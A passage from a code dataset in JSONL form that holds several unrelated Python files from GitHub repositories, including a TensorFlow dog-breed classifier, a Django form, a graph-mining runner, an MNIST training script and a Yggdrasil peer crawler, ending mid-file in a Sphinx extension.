+{"seq_id":"1816619179","text":"import pandas as pd\nimport tensorflow as tf\nimport os\nfrom PIL import Image\nfrom PIL import ImageFile\nImageFile.LOAD_TRUNCATED_IMAGES = True\nIMAGE_SIZE = 224\ntrain_batch_size = 16\n\n\ndef convert_to_tfrecord(rootpath, target_record_dir, target_record_filename):\n    target_tfrecord_file = target_record_dir+\"/\"+target_record_filename+\".tfrecords\"\n    os.makedirs(target_record_dir, mode=0o775, exist_ok=True)\n    if os.path.isfile(target_tfrecord_file) is True:\n        print(\"the \"+target_tfrecord_file+\" exist, no need to run the  convert_to_tfrecord\")\n        return\n    writer = tf.python_io.TFRecordWriter(target_tfrecord_file)\n    filenames = os.listdir(rootpath)\n    for name in filenames:\n        print(\"Processing image:\" + name)\n        img = Image.open(rootpath+\"/\"+name)\n        label = name.rstrip(\".jpg\")\n        \n        if img.mode == \"RGB\":\n            img = img.resize((IMAGE_SIZE, IMAGE_SIZE), Image.LANCZOS)\n            img_raw = img.tobytes()\n            example = tf.train.Example(\n                features=tf.train.Features(feature={\n                    \"label\": tf.train.Feature(int64_list=\n                                              tf.train.Int64List(value=train_labels[train_labels[\"id\"] == label]['breed'].ravel().reshape(-1)[0])),\n                    \"img_raw\": tf.train.Feature(bytes_list=tf.train.BytesList(value=[img_raw]))}))\n            writer.write(example.SerializeToString())\n    writer.close()\n\n\ndef conv_op(input_op, name, kh, kw, n_out, dh, dw, p):\n    n_in = input_op.get_shape()[-1].value\n\n    with tf.name_scope(name) as scope:\n        kernel = tf.get_variable(scope+\"w\",\n                                 shape=[kh, kw, n_in, n_out], dtype=tf.float32,\n                                 initializer=tf.contrib.layers.xavier_initializer_conv2d())\n        conv = tf.nn.conv2d(input_op, kernel, (1, dh, dw, 1), padding=\"SAME\")\n        bias_init_val = tf.constant(0.0, shape=[n_out], dtype=tf.float32)\n        biases = tf.Variable(bias_init_val, trainable=True, name='b')\n        z = tf.nn.bias_add(conv, biases)\n        # add L2 loss\n        # weight_loss = tf.multiply(tf.nn.l2_loss(kernel), 0.001, name=\"weight_loss\")\n        # weight_loss = tf.reduce_mean(weight_loss)\n        # tf.add_to_collection('losses', weight_loss)\n\n        activation = tf.nn.relu(z, name=scope)\n        p += [kernel, biases]\n        return activation\n\n\ndef fc_op(input_op, name, n_out, p, wl2=0.004, relu_tag=True):\n    n_in = input_op.get_shape()[-1].value\n\n    with tf.name_scope(name) as scope:\n        kernel = tf.get_variable(scope+\"w\", shape=[n_in, n_out], dtype=tf.float32,\n                                 initializer=tf.contrib.layers.xavier_initializer())\n        if relu_tag is True:\n            biases = tf.Variable(tf.constant(0.1, shape=[n_out], dtype=tf.float32), name=\"b\")\n            activation = tf.nn.relu_layer(input_op, kernel, biases, name=scope)\n        else:\n            biases = tf.Variable(tf.constant(0.1, shape=[n_out], dtype=tf.float32), name=\"b\")\n            activation = tf.matmul(input_op, kernel) + biases\n        # add L2 loss\n        # weight_loss = tf.multiply(tf.nn.l2_loss(kernel), wl2, name=\"weight_loss\")\n        # weight_loss = tf.reduce_mean(weight_loss)\n        # tf.add_to_collection('losses', weight_loss)\n\n        p += [kernel, biases]\n        return activation\n\n\ndef mpool_op(input_op, name, kh, kw, dh, dw):\n    return tf.nn.max_pool(input_op,\n                          ksize=[1, kh, kw, 1],\n                          strides=[1, dh, dw, 1],\n                          padding=\"SAME\",\n                          name=name)\n\n\ndef inference_op(input_op, keep_prob):\n    p = []\n    conv1_1 = conv_op(input_op, name=\"conv1_1\", kh=3, kw=3, n_out=64, dh=1, dw=1, p=p)\n    conv1_2 = conv_op(conv1_1, name=\"conv1_2\", kh=3, kw=3, n_out=64, dh=1, dw=1, p=p)\n    conv1_2_dropout = tf.nn.dropout(conv1_2, keep_prob, name=\"conv1_2_dropout\")\n    pool1 = mpool_op(conv1_2_dropout, name=\"pool1\", kh=2, kw=2, dw=2, dh=2)\n\n    conv2_1 = conv_op(pool1, name=\"conv2_1\", kh=3, kw=3, n_out=128, dh=1, dw=1, p=p)\n    conv2_2 = conv_op(conv2_1, name=\"conv2_2\", kh=3, kw=3, n_out=128, dh=1, dw=1, p=p)\n    conv2_2_dropout = tf.nn.dropout(conv2_2, keep_prob, name=\"conv2_2_dropout\")\n    pool2 = mpool_op(conv2_2_dropout, name=\"pool2\", kh=2, kw=2, dw=2, dh=2)\n\n    conv3_1 = conv_op(pool2, name=\"conv3_1\", kh=3, kw=3, n_out=256, dh=1, dw=1, p=p)\n    conv3_2 = conv_op(conv3_1, name=\"conv3_2\", kh=3, kw=3, n_out=256, dh=1, dw=1, p=p)\n    conv3_3 = conv_op(conv3_2, name=\"conv3_3\", kh=3, kw=3, n_out=256, dh=1, dw=1, p=p)\n    conv3_3_dropout = tf.nn.dropout(conv3_3, keep_prob, name=\"conv3_3_dropout\")\n    pool3 = mpool_op(conv3_3_dropout, name=\"pool3\", kh=2, kw=2, dw=2, dh=2)\n\n    conv4_1 = conv_op(pool3, name=\"conv4_1\", kh=3, kw=3, n_out=512, dh=1, dw=1, p=p)\n    conv4_2 = conv_op(conv4_1, name=\"conv4_2\", kh=3, kw=3, n_out=512, dh=1, dw=1, p=p)\n    conv4_3 = conv_op(conv4_2, name=\"conv4_3\", kh=3, kw=3, n_out=512, dh=1, dw=1, p=p)\n    conv4_3_dropout = tf.nn.dropout(conv4_3, keep_prob, name=\"conv4_3_dropout\")\n    pool4 = mpool_op(conv4_3_dropout, name=\"pool4\", kh=2, kw=2, dw=2, dh=2)\n\n    conv5_1 = conv_op(pool4, name=\"conv5_1\", kh=3, kw=3, n_out=512, dh=1, dw=1, p=p)\n    conv5_2 = conv_op(conv5_1, name=\"conv5_2\", kh=3, kw=3, n_out=512, dh=1, dw=1, p=p)\n    conv5_3 = conv_op(conv5_2, name=\"conv5_3\", kh=3, kw=3, n_out=512, dh=1, dw=1, p=p)\n    conv5_3_dropout = tf.nn.dropout(conv5_3, keep_prob, name=\"conv5_3_dropout\")\n    pool5 = mpool_op(conv5_3_dropout, name=\"pool5\", kh=2, kw=2, dw=2, dh=2)\n\n    shp = pool5.get_shape()\n    flattened_shape = shp[1].value * shp[2].value * shp[3].value\n    resh1 = tf.reshape(pool5, [-1, flattened_shape], name=\"resh1\")\n\n    fc6 = fc_op(resh1, name=\"fc6\", n_out=4096, p=p, wl2=0.004)\n    #  fc6_drop = tf.nn.dropout(fc6, keep_prob, name=\"fc6_drop\")\n\n    fc7 = fc_op(fc6, name=\"fc7\", n_out=4096, p=p, wl2=0.004)\n    #  fc7_drop = tf.nn.dropout(fc7, keep_prob, name=\"fc7_drop\")\n\n    fc8 = fc_op(fc7, name=\"fc8\", n_out=120, p=p, relu_tag=False)\n    softmax = tf.nn.softmax(fc8)\n    prediction = tf.argmax(softmax, 1)\n    return prediction, softmax, fc8, p\n\n\ndef loss(logits, labels):\n    labels = tf.cast(labels, tf.int32)\n    cross_entropy = tf.nn.sparse_softmax_cross_entropy_with_logits(\n        logits=logits, labels=labels, name='cross_entropy_per_example'\n    )\n    cross_entropy_mean = tf.reduce_mean(cross_entropy, name='cross_entropy')\n    tf.add_to_collection('losses', cross_entropy_mean)\n    return tf.add_n(tf.get_collection('losses'), name='total_loss')\n\n\ndef read_tfrecord(filenames, batch_num):\n    read_tfrecord_dataset = tf.contrib.data.TFRecordDataset(filenames)\n    read_tfrecord_dataset = read_tfrecord_dataset.map(_parse_function)\n    read_tfrecord_dataset = read_tfrecord_dataset.repeat(10)\n    read_tfrecord_dataset = read_tfrecord_dataset.batch(batch_num)\n    return read_tfrecord_dataset\n\n\ndef save_model(sess, variable_list, checkpointfile):\n    saverdict = {}\n    for item in variable_list:\n        saverdict.update({item.name[:-2]: item})\n    saver = tf.train.Saver(saverdict)\n    save_path = saver.save(sess, checkpointfile)\n    print(\"model saved in the \"+save_path)\n\n\ndef _parse_function(filenames):\n    features = {\"img_raw\": tf.FixedLenFeature([], tf.string),\n                \"label\": tf.FixedLenFeature(1, tf.int64)}\n    parsed_features = tf.parse_single_example(filenames, features)\n    image = tf.decode_raw(parsed_features['img_raw'], tf.uint8)\n    return image, parsed_features[\"label\"]\n\nif __name__ == '__main__':\n    train_labels = pd.read_csv(\"./data/labels.csv\")\n    labels_str = pd.read_csv(\"./data/sample_submission.csv\").drop(\"id\", axis=1).columns.tolist()\n    labels_str_lenth=len(labels_str)\n    labels_map = {}\n    for index, labels_index in enumerate(labels_str):\n        labels_map[labels_index] = [index]\n    train_labels['breed'] = train_labels['breed'].map(labels_map)\n\n    print(train_labels[train_labels[\"id\"] == 'fa2a33c1dc8b39ad51738408b289a0de']['breed'].ravel().reshape(-1)[0])\n    print(train_labels[train_labels[\"id\"] == 'fa2a33c1dc8b39ad51738408b289a0de']['breed'].ravel().reshape(-1)[0][0])\n    convert_to_tfrecord(\"./data/train\", \"./process_workspace\", \"TrainSet\")\n    dataset = read_tfrecord([\"./process_workspace/TrainSet.tfrecords\"], train_batch_size)\n    keep_prod = tf.placeholder(tf.float32)\n    image_holder = tf.placeholder(tf.float32, [train_batch_size, IMAGE_SIZE, IMAGE_SIZE, 3])\n    label_holder = tf.placeholder(tf.int64, [train_batch_size])\n    testimage_holder = tf.placeholder(tf.float32, [1, IMAGE_SIZE, IMAGE_SIZE, 3])\n    # softmax output use\n    prediction, softmax, fc8, p = inference_op(image_holder, keep_prod)\n    loss = loss(fc8, label_holder)\n    train_op = tf.train.AdamOptimizer(1e-3).minimize(loss)\n    with tf.Session() as sess:\n        iterator = dataset.make_initializable_iterator()\n        next_element = iterator.get_next()\n        sess.run(iterator.initializer)\n        sess.run(tf.global_variables_initializer())\n        saverdict = {}\n        for item in p:\n            saverdict.update({item.name[:-2]: item})\n        saver = tf.train.Saver(saverdict)\n        if os.path.isfile(\"./process_workspace/DogBreedIdentificationVgg16_model.ckpt.meta\") is True:\n            print(\"Found checkpoint files , start to training from restored data\")\n            saver.restore(sess, \"./process_workspace/DogBreedIdentificationVgg16_model.ckpt\")\n            print(p[0], sess.run(p[-1]))\n            print(\"Model restored.\\n\")\n        Step_Continue = 20\n        step = -1\n                                                                                                                                                                                                                                                                                                        # end in 800\n        for step in range(220):\n            if step < Step_Continue:\n                sess.run(next_element)\n                continue\n            print(\"########## train  %d step(s) start: #######\" % step, end=\"\\n\")\n            try:\n                preprocess_batch_img = sess.run(next_element)\n                train_fc8, train_softmax, _,  result_loss = sess.run([fc8, softmax, train_op, loss], feed_dict={\n                    image_holder: preprocess_batch_img[0].reshape(-1, IMAGE_SIZE, IMAGE_SIZE, 3),\n                    label_holder: preprocess_batch_img[1].reshape(-1),\n                    keep_prod: 0.6\n                })\n                print(\"result_loss:\")\n                print(result_loss)\n                print(\"train_softmax:\")\n                print(train_softmax)\n                print(\"train_fc8:\")\n                print(train_fc8)\n                print(\"img-label:\")\n                print(preprocess_batch_img[1].reshape(-1))\n            except tf.errors.OutOfRangeError:\n                save_model(sess, p, \"./process_workspace/DogBreedIdentificationVgg16_model.ckpt\")\n                break\n            if step % 5 == 0:\n                save_model(sess, p, \"./process_workspace/DogBreedIdentificationVgg16_model.ckpt\")\n        save_model(sess, p, \"./process_workspace/DogBreedIdentificationVgg16_model.ckpt\")\n        print(\"########## train end at  %d  range: #######\" % (step+1), end=\"\\n\")\n        print(sess.run(p[-1]))\n","repo_name":"liximin/Kaggle","sub_path":"DogBreedIdentification/DogBreedIdentification_vgg16.py","file_name":"DogBreedIdentification_vgg16.py","file_ext":"py","file_size_in_byte":11293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"29058660748","text":"from django import forms\nfrom .models import isianKTP\n\nclass tampilanformulir(forms.ModelForm):\n    class Meta:\n        model = isianKTP\n        fields =['nomor_NIK', 'nama_lengkap','jenis_kelamin','tanggal_lahir', 'bulan_lahir','tahun_lahir','agama','status_nikah','images']\n\n    def hapusi_nomor_NIK(self):\n        verifikasi_nomor_NIK=self.cleaned_data.get('nomor_NIK')\n        for instance in isianKTP.object.all():\n            if instance.nomor_NIK==verifikasi_nomor_NIK:\n                raise forms.ValidationError('NIK tos kapakai!')","repo_name":"Antonwae/pendaftaranpegawai","sub_path":"registrasiKTP/form.py","file_name":"form.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74296306611","text":"import os\nfrom os import path\n# implementations of TU Dortmund datasets\nfrom torch_geometric.datasets import TUDataset\n\n# our helper classes\nimport tests\nimport convert\nimport helper\nimport config\nfrom helper import print_info\n\n# gSpan Implementation\nfrom gspan_mining.config import parser\nfrom gspan_mining.main import main\n\n# Try to surpress warnings\nfrom sklearn.exceptions import ConvergenceWarning\nimport warnings\n\nwarnings.filterwarnings('ignore', 'ConvergenceWarning: Solver terminated early.*')\nwarnings.filterwarnings('ignore', 'Solver terminated early.*')\nwarnings.filterwarnings('ignore', category = ConvergenceWarning)\n\n\ndef test(ds_name, minSup, params='', random=False, graphlet=False, cork=False):\n    if len(helper.tests_run) == 0:\n        if random:\n            helper.tests_run += \"random\"\n        if graphlet:\n            helper.tests_run += \"graphlet\"\n        if cork:\n            helper.tests_run += \"cork\"\n    \n    print_info('\\n-----[BEGIN]-----\\n')\n    dataset = TUDataset(root='./tmp/{}'.format(ds_name), name=ds_name)\n    print_info('Starting Tests with dataset: {}, containing {} Graphs'.format(ds_name, len(dataset)))\n        \n    is_directed = dataset[0].is_directed()\n    # create the run arguments for gSpan-python\n    cwd = os.getcwd()\n    f_name = '{}.data.txt'.format(ds_name)\n    f_path = path.join(cwd, 'graphs', f_name)\n    args_str = '--min_support {min} --directed {directed} {params} --verbose FALSE --where TRUE {ds}'.format(ds = f_path, min=int(len(dataset) * minSup), directed=is_directed, params=params)\n    print_info('Running with params: {}'.format(args_str))\n    FLAGS, _ = parser.parse_known_args(args=args_str.split())\n \n    # mine with gSpan\n    print_info(\"Starting mining with gSpan-Algorithm and minSup sigma = {}%\".format(minSup * 100))\n    gs = main(FLAGS)\n    _report = gs._report_df\n\n    print_info(\"\\nFinished mining. Found {} freq. subgraphs.\".format(len(_report)))\n\n    _freq = []\n    sum_edges = 0\n    sum_vertices = 0\n    for dfs in _report['dfs']:\n        _freq.append(dfs)\n        sum_edges += len(dfs)\n        sum_vertices += dfs.get_num_vertices()\n    print_info(\"Durchschnitt Knoten: {}, Durchschnitt Kanten: {}\\n\".format( sum_vertices/len(_freq), sum_edges/len(_freq) ))\n\n    _desc = [desc for desc in _report['description']]\n\n    # get info needed for testing\n    ds_graph_classes = dataset.data.y.tolist() # graph classes\n    isomorph_graphs = [gids for gids in _report['isomorph_graphs']]\n\n    \n    # perform test\n    _tests = tests.Tests(_freq, isomorph_graphs, ds_graph_classes, _desc)\n    _tests.run(random, graphlet, cork)\n    \n    print_info('\\n-----[END]-----\\n')\n\nargs = config.parser.parse_args()\nconfig.ds_name = args.dataset_name\nconfig.minSup = args.support\nconfig.params = args.params\n\ntest(config.ds_name, config.minSup, config.params, random=args.random, graphlet=args.graphlet, cork=args.cork) \n","repo_name":"blumewas/B.Sc.-Thesis","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"37449416432","text":"from collections import deque\ndef rotation(table):\n    length=len(table)\n\n    result=[[0]*length for i in range(length)]\n\n    for i in range(length):\n        for j in range(length):\n            result[i][j]=table[length-1-j][i]\n    return result\n\ndef get_blocks(board,b=1):\n    n=len(board)\n    # print(board)\n    board=[item[:] for item in board]\n    dd=[(1,0),(0,1),(-1,0),(0,-1)]\n    di=['d','r','u','l']\n    \n    blocks=[]\n    # print_table(board)\n    for i in range(n):\n        for j in range(n):\n            block=[]\n            if board[i][j]==b:\n                cnt=0\n                next_q=deque([(i,j)])\n                board[i][j]=(b+1)%2\n                while next_q:\n                    x,y=next_q.popleft()\n                    temp=''\n                    for t in range(4):\n                        if 0<=x+dd[t][0]<n and 0<=y+dd[t][1]<n and board[x+dd[t][0]][y+dd[t][1]]==b:\n                            cnt+=1\n                            temp+=di[t]\n                            board[x+dd[t][0]][y+dd[t][1]]=(b+1)%2\n                            next_q.append((x+dd[t][0],y+dd[t][1]))\n                    \n                    block.append(temp)\n                # print(block)\n                # print_table(board)\n                blocks.append((block,cnt+1))\n            # print(blocks)\n    return blocks\n\n\n\n            \n\n\ndef print_table(table):\n    for i in table:\n        print(*i)\n\ndef delete_usedBlock(board,numbers):\n    n=len(board)\n    # print(board)\n    b=1\n    board2=[item[:] for item in board]\n    dd=[(1,0),(0,1),(-1,0),(0,-1)]\n    cnt=0\n    # print_table(board)\n    for i in range(n):\n        for j in range(n):\n            if board2[i][j]==b:\n\n                next_q=deque([(i,j)])\n                board2[i][j]=0\n                if cnt in numbers:\n                    board[i][j]=0\n                while next_q:\n                    x,y=next_q.popleft()\n\n                    for t in range(4):\n                        if 0<=x+dd[t][0]<n and 0<=y+dd[t][1]<n and board2[x+dd[t][0]][y+dd[t][1]]==b:\n\n                            board2[x+dd[t][0]][y+dd[t][1]]=0\n                            if cnt in numbers:\n                                board[x+dd[t][0]][y+dd[t][1]]=0\n\n                            next_q.append((x+dd[t][0],y+dd[t][1]))\n                cnt+=1\n\n                # print(block)\n                # print_table(board)\n\n            # print(blocks)\n\n\n\n\ndef solution(game_board, table):\n    answer = 0\n    board_block=get_blocks(game_board,0)\n    # print(board_block)\n    for _ in range(4):\n        table_block=get_blocks(table)\n        # print(table_block)\n        used_block=[]\n        for i in range(len(board_block)):\n            for j in range(len(table_block)):\n                if table_block and board_block[i] and  board_block[i]==table_block[j]:\n                    answer+=board_block[i][1]\n                    board_block[i]=False\n                    table_block[j]=False\n                    used_block.append(j)\n        delete_usedBlock(table,used_block)\n        table=rotation(table)\n\n\n\n\n\n    return answer\n\n\ngame_board=[[1,1,0,0,1,0],[0,0,1,0,1,0],[0,1,1,0,0,1],[1,1,0,1,1,1],[1,0,0,0,1,0],[0,1,1,1,0,0]]\ntable=[[1,0,0,1,1,0],[1,0,1,0,1,0],[0,1,1,0,1,1],[0,0,1,0,0,0],[1,1,0,1,1,0],[0,1,0,0,0,0]]\nprint(solution(game_board,table))","repo_name":"sunsu2737/algorithm","sub_path":"programmers/위클리챌린지/3주차.py","file_name":"3주차.py","file_ext":"py","file_size_in_byte":3277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"30752368226","text":"\nfrom datetime import datetime\nfrom typing import List\nfrom services.login import logged_user\nfrom db.queries.event_queries import query_guild_event_summary\nfrom models.enums.event_types import EventTypeEnum\nfrom viewmodels.member.member_event_summary_viewmodel import MemberEventSummaryViewModel\n\n\ndef fetch_dashboard_data() -> dict:\n    # Query all events\n    member_event_details: List[List[MemberEventSummaryViewModel]] = logged_user.fetch_all_events()\n    # member_event_details[0] = []\n    guild_raid_summaries = query_guild_event_summary(EventTypeEnum.Raid)\n    \n    # Damage and graph data\n    member_raid_attendances = 0\n    member_raid_total_damage = 0\n    member_all_raids_average = 0\n    member_raid_daily_average = 0\n    \n    member_labels: List[str] = []\n    member_damage: List[int] = []\n    member_average: List[int] = []\n    \n    guild_labels: List[str] = []\n    guild_damage: List[int] = []\n    guild_average: List[int] = []\n    \n    # Preparing member's personal raid data\n    member_raid_attendances = len(member_event_details[EventTypeEnum.Raid])\n    \n    # Preparing guild raid summary\n    for raid in guild_raid_summaries[member_raid_attendances::-1]:\n        if raid.total_damage == 0 or raid.total_damage == None:    # If no raid damage, skip it\n            continue\n        guild_labels.append(raid.start_date.strftime(\"%d/%b/%Y\"))\n        guild_damage.append(raid.total_damage)\n        guild_average.append(raid.average_damage)\n    # guild_total = sum(guild_damage)\n    \n    for i in range(member_raid_attendances):\n        member_raid_total_damage += member_event_details[EventTypeEnum.Raid][i].member_damage\n        member_raid_daily_average += member_event_details[EventTypeEnum.Raid][i].member_damage / member_event_details[EventTypeEnum.Raid][i].event_duration\n        member_labels.append(member_event_details[EventTypeEnum.Raid][i].event_start_date.strftime(\"%d/%b/%Y\"))\n        member_average.append(int(member_event_details[EventTypeEnum.Raid][i].member_damage / member_event_details[EventTypeEnum.Raid][i].event_duration))\n        member_damage.append(member_event_details[EventTypeEnum.Raid][i].member_damage)\n    \n    if member_raid_attendances > 0:\n        member_all_raids_average = int(member_raid_total_damage / member_raid_attendances)\n        member_raid_daily_average = int(member_raid_daily_average / member_raid_attendances)\n  \n    data = {\n        \"admission_date\": logged_user.admissiondate.strftime(\"%d/%b/%Y\"),\n        \"days_since_admission\": (datetime.today().date() - logged_user.admissiondate).days,\n        \"member_raid_total_damage\": member_raid_total_damage,\n        \"member_all_raids_average\": member_all_raids_average,\n        \"member_raid_daily_average\": member_raid_daily_average,\n        \"raid_attendances\": member_raid_attendances,\n        \"progress_guild\": {\n            \"labels\": guild_labels, \"damages\": guild_damage, \"averages\": guild_average\n        },\n        \"progress_member\": {\n            \"labels\": member_labels[::-1], \"damages\": member_damage[::-1], \"averages\": member_average[::-1],\n        },\n    }\n    return data\n","repo_name":"XLM-205/gt_guild_ninehells","sub_path":"services/fetchers/fetch_dashboard_data.py","file_name":"fetch_dashboard_data.py","file_ext":"py","file_size_in_byte":3093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"19220938090","text":"from peer_sources import PublicPeers, CrawledPeers\nfrom yggdrasil_iface import YggdrasilConnection, yqq\nimport os\n\n# public = PublicPeers()\n# public.perform()\n\n# with open(\"peers\", 'w') as f:\n#     public.write(f)\n\nprint('connect server', True)\nygg = YggdrasilConnection.fromServer()\nprint(\"query self\", True)\nygg.query(yqq.SELF)\nmax_depth = 1\nversion = os.environ.get('VERSION')\nhosts_cache = \"/shared_etc/hosts_crawled\" + version\ntry:\n    with open(hosts_cache, 'r') as file:\n        lines = file.readlines()\n        keys = [line.rstrip().split(' ').pop().split('.')[1] + line.rstrip().split(' ').pop().split('.')[2] for line in lines]\n        file.close()\n        max_depth = len(list(dict.fromkeys(keys))) + 1\n        if len(keys) == 0:\n            raise 0\n        print('bootstrap from previously crawled')\nexcept:\n    print('get neighbors')\n    keys = [data[\"key\"] for data in ygg.neighbours.values()]\n    keys.insert(0, ygg.key)\n\n# keys.insert(0, ygg.key)\nkeys = list(dict.fromkeys(keys))\nprint('make crawler', keys)\ncrawler = CrawledPeers(ygg, keys, max_depth)\nprint('do perform')\ncrawler.perform()\nprint('do open', True) \nwith open(hosts_cache, 'w') as f:\n    crawler.write(f)\n","repo_name":"samizdapp/yggdrasil-peers","sub_path":"example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"42710459256","text":"import inspect\n\nfrom bokeh.models import Div\nfrom bokeh.layouts import column\n\nfrom ..tab import BacktraderPlottingTab\n\n\nclass SourceTab(BacktraderPlottingTab):\n\n    def _is_useable(self):\n        return not self._app.is_iplot()\n\n    def _getSource(self):\n        try:\n            text = inspect.getsource(\n                self._figurepage.strategy.__class__)\n        except Exception:\n            text = ''\n        return text\n\n    def _get_tab_panel(self):\n        title = Div(\n            text='Source Code',\n            css_classes=['tab-panel-title'])\n        child = column(\n            [title,\n             Div(text=self._getSource(),\n                 css_classes=['source-pre'],\n                 sizing_mode='stretch_width')],\n            sizing_mode='stretch_width')\n        return child, 'Source Code'\n","repo_name":"happydasch/btplotting","sub_path":"btplotting/tabs/source.py","file_name":"source.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":276,"dataset":"github-code","pt":"21"}
+{"seq_id":"7500626843","text":"# main.py\nimport os\nimport src\n\npath_mnist_train_images = (os.path.join(os.path.abspath(os.path.join(os.path.dirname(__file__), '..')),'dataset/train-images-idx3-ubyte.gz'))\n#\npath_mnist_train_labels = (os.path.join(os.path.abspath(os.path.join(os.path.dirname(__file__), '..')),'dataset/train-labels-idx1-ubyte.gz'))\n#\npath_mnist_test_images = (os.path.join(os.path.abspath(os.path.join(os.path.dirname(__file__), '..')),'dataset/t10k-images-idx3-ubyte.gz'))\n#\npath_mnist_test_labels = (os.path.join(os.path.abspath(os.path.join(os.path.dirname(__file__), '..')),'dataset/t10k-labels-idx1-ubyte.gz'))\n\n\ndef load_data():\n    print(f\"loading all dataset\")\n    mnist_train_images = src.load_images(path_mnist_train_images)/255\n    mnist_train_labels = src.load_labels(path_mnist_train_labels)\n    mnist_test_images = src.load_images(path_mnist_test_images)/255\n    mnist_test_labels = src.load_labels(path_mnist_test_labels)\n    print(f\"loading all dataset\")\n    return mnist_train_images, mnist_test_images, mnist_train_labels, mnist_test_labels\n\n\n#src.print_image(src.load_image(path_mnist_train_images, 16))\n\nX_train, X_test, y_train, y_test = load_data()\n# Loading mnist image and normalizing the values (pixels grayscaled 0 - 255)\n\n## The shapes\n#print(f\"X_train shape: {X_train.shape}\") # (60000, 28, 28)\n#print(f\"y_train shape: {y_train.shape}\") # (60000, 10)\n#print(f\"X_test shape: {X_test.shape}\") # (10000, 28, 28)\n#print(f\"y_test shape: {y_test.shape}\") # (10000, 10)\n#print(\"They are not the correct shape\")\n#X_train = X_train.reshape(X_train.shape[0], 784)\n#X_test = X_test.reshape(X_test.shape[0], 784)\n#X_train = X_train.reshape(-1, 28, 28, 1)\n#X_test = X_test.reshape(-1, 28, 28, 1)\n\n#print(X_train) # (60000, 784)\n#print(X_test) # (10000, 784)\n\nprint(\"Default Model\")\nresult, scso, ph_images, ph_labels = src.default_CNN()\ns, tab_train, tab_test = src.train(X_train, X_test, y_train, y_test, result, scso, ph_images, ph_labels)\nsrc.show_result(tab_train, tab_test)\n\nprint(\"test1 Model\")\nresult, scso, ph_images, ph_labels = src.test1_CNN()\ns, tab_train, tab_test = src.train(X_train, X_test, y_train, y_test, result, scso, ph_images, ph_labels)\nsrc.show_result(tab_train, tab_test)\n\nprint(\"test2 Model\")\nresult, scso, ph_images, ph_labels = src.test2_CNN()\ns, tab_train, tab_test = src.train(X_train, X_test, y_train, y_test, result, scso, ph_images, ph_labels)\nsrc.show_result(tab_train, tab_test)\n\n# src.print_images(X_test[10:15])\n","repo_name":"LazyKeru/AADA_2022","sub_path":"CNN_MNIST/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"70879068534","text":"import imageio\nfrom os import path\nfrom glob import glob\n\nLAYOUT = \"/home/joris/nemaNAS/jaapjan/Tray layout.csv\"\n\nfolder = '/home/joris/nemaNAS/jaapjan/Images/'\n\nloc_map = {}\n\nwith open(LAYOUT) as layout_file:\n\theader = layout_file.readline()\n\n\tfor line in layout_file:\n\t\tif line.startswith(','):\n\t\t\tcontinue \n\t\tline = line.strip().split(',')\n\n\t\ttry:\n\t\t\tloc_map[line[2]] = f\"{line[0]}_{line[1]}_{line[2]}_{line[3]}\"\n\t\texcept IndexError:\n\t\t\tpass\n\n\n\nfor cam_folder in glob(folder+\"*\"):\n\timages = sorted(list(glob(cam_folder+\"/*\")))\n\tlocations = [image.split(\"_\")[0] for image in images]\n\n\tlocations = [path.basename(loc) for loc in locations]\n\tuniq_locations = list(set(locations))\n\n\tfor loc in uniq_locations:\n\t\tloc_images = []\n\n\t\tfor img in images:\n\t\t\tbn = path.basename(img)\n\t\t\tif bn.startswith(loc):\n\t\t\t\tloc_images.append(img)\n\n\t\tloc_images = sorted(loc_images)\n\t\tloc_images = [imageio.imread(img) for img in loc_images]\n\n\n\t\tname = f\"{loc_map[loc]}.gif\"\n\t\timageio.mimsave(f'~/nemaNAS/jaapjan/share/{name}', loc_images)\n\n\n","repo_name":"Jorisvansteenbrugge/scripts","sub_path":"JJ_gifmaker.py","file_name":"JJ_gifmaker.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74402501171","text":"from sphinx import addnodes\nfrom sphinx.ext.autosummary import autosummary_table\n\nfrom docutils import nodes\nfrom docutils.statemachine import ViewList\n\nclass DoxygenSummary(object):\n    def __init__(self, sphinx_directive, project_info, app, data_objects, names):\n        self.sphinx_directive = sphinx_directive\n        self.project_info = project_info\n        self.app = app\n        self.data_objects = data_objects\n        self.options = sphinx_directive.options\n        self.names = names\n\n\n    @classmethod\n    def get_handler(cls, sphinx_directive, project_info, names):\n        \"\"\"\n        Get a handler for this domain. \n\n        self.domain must be set to the domain\n        \"\"\"\n\n        raise NotImplementedError('must be implemented in subclasses')\n\n\n    def get_data_object_renderer(self, data_object):\n        \"\"\"\n        Find the renderer that will render this data object\n        \"\"\"\n\n        filter_ =  self.app.emit(\"doxybridge-emitter\", \"create_filter\",\n                                 self.sphinx_directive.options)[0]\n        renderer_factory = self.app.emit(\"doxybridge-emitter\", \"create_renderer_factory\",\n                                         self.project_info, \n                                         self.sphinx_directive.state,\n                                         self.sphinx_directive.state.document,\n                                         filter_\n                                         )[0]\n\n        root_data_object = self.app.emit(\"doxybridge-emitter\", \"get_root_data_object\")[0]\n\n        return renderer_factory.create_renderer(root_data_object, data_object, self)\n\n\n    def get_items(self):\n        \"\"\"Try to import the given names, and return a list of\n        ``[(name, signature, summary_string, real_name), ...]``.\n        \"\"\"\n        env = self.sphinx_directive.state.document.settings.env\n\n        items = []\n        max_item_chars = 50\n\n        for name, dobject in zip(self.names, self.data_objects):\n\n            renderer = self.get_data_object_renderer(dobject)\n            display_name = self.get_display_name(name, renderer)\n#            print display_name\n            real_name = self.get_real_name(name, renderer)\n            signature = self.get_signature(renderer)\n            summary = 